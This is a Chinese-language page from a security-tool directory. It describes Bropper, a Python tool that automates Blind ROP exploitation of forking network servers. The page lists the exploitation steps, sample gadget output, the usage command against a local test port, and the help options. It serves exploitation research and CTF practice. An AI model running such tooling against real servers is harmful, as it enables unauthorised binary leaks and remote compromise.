Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Bropper — 一个自动化的 Blind ROP 利用工具 | Kitploit
工具/GitHubGitHub/hakumarachi/bropper
漏洞利用框架漏洞利用CTF二进制利用
GitHubhakumarachi/bropper

Bropper

一个自动化的 Blind ROP 利用工具

查看仓库
209183年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

BROPPER

一个自动化的盲返ROP利用Python工具

摘要

BROP(盲返ROP)是由斯坦福大学的Andrew Bittau于2014年发现的一种技术。

  • 原始论文
  • 幻灯片

大多数服务器如nginx、Apache、MySQL,在fork后与客户端通信。这意味着即使启用了ASLR和PIE,canary和地址也保持不变。因此,我们可以使用一些有依据的暴力破解来泄露信息,随后构造一个有效的漏洞利用。

利用流程

  1. 找到缓冲区溢出偏移
  2. 找到canary
  3. 找到保存的寄存器(RBP / RIP)
  4. 找到停止gadgets
  5. 找到brop gadgets
  6. 找到一个写函数(write / dprintf / puts / ...)
  7. 泄露二进制文件

结果示例

本仓库提供了3个自定义的易受攻击的示例。您可以直接运行它们或构建Dockerfile。

BROPPER随后将转储二进制文件:

然后可以使用ROPgadget等工具从转储的二进制文件中提取所有ROP gadgets:

root@kitploit:~
$ ROPgadget --binary dump
Gadgets information
============================================================
0x0000000000001177 : adc al, 0 ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001157 : adc al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001137 : adc byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x1020
...
...
...
0x0000000000001192 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x1020
0x000000000000182e : xor eax, 0x891 ; mov rdi, rax ; call rcx
0x0000000000001861 : xor eax, 0xffffff22 ; mov rdi, rax ; call rcx

Unique gadgets found: 235

脚本使用

要使用此脚本:

root@kitploit:~
python3 -m pip install -r requirements.txt
python3 bropper.py -t 127.0.0.1 -p 1337 --wait "Password :" --expected Bad --expected-stop Welcome -o dump
root@kitploit:~
$ python3 bropper.py -h
usage: bropper.py [-h] -t TARGET -p PORT --expected-stop EXPECTED_STOP --expected EXPECTED --wait WAIT -o OUTPUT [--offset OFFSET] [--canary CANARY] [--no-canary] [--rbp RBP] [--rip RIP] [--stop STOP]
                  [--brop BROP] [--plt PLT] [--strcmp STRCMP] [--elf ELF]

Description message

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        target url
  -p PORT, --port PORT  target port
  --expected-stop EXPECTED_STOP
                        Expected response for the stop gadget
  --expected EXPECTED   Expected normal response
  --wait WAIT           String to wait before sending payload
  -o OUTPUT, --output OUTPUT
                        File to write dumped remote binary
  --offset OFFSET       set a offset value
  --canary CANARY       set a canary value
  --no-canary           Use this argument if there is no stack canary protection
  --rbp RBP             set rbp address
  --rip RIP             set rip address
  --stop STOP           set stop gadget address
  --brop BROP           set brop gadget address
  --plt PLT             set plt address
  --strcmp STRCMP       set strcmp entry value
  --elf ELF             set elf address

贡献

欢迎提交拉取请求。如果您想添加其他功能,请随时开一个issue。

下载工具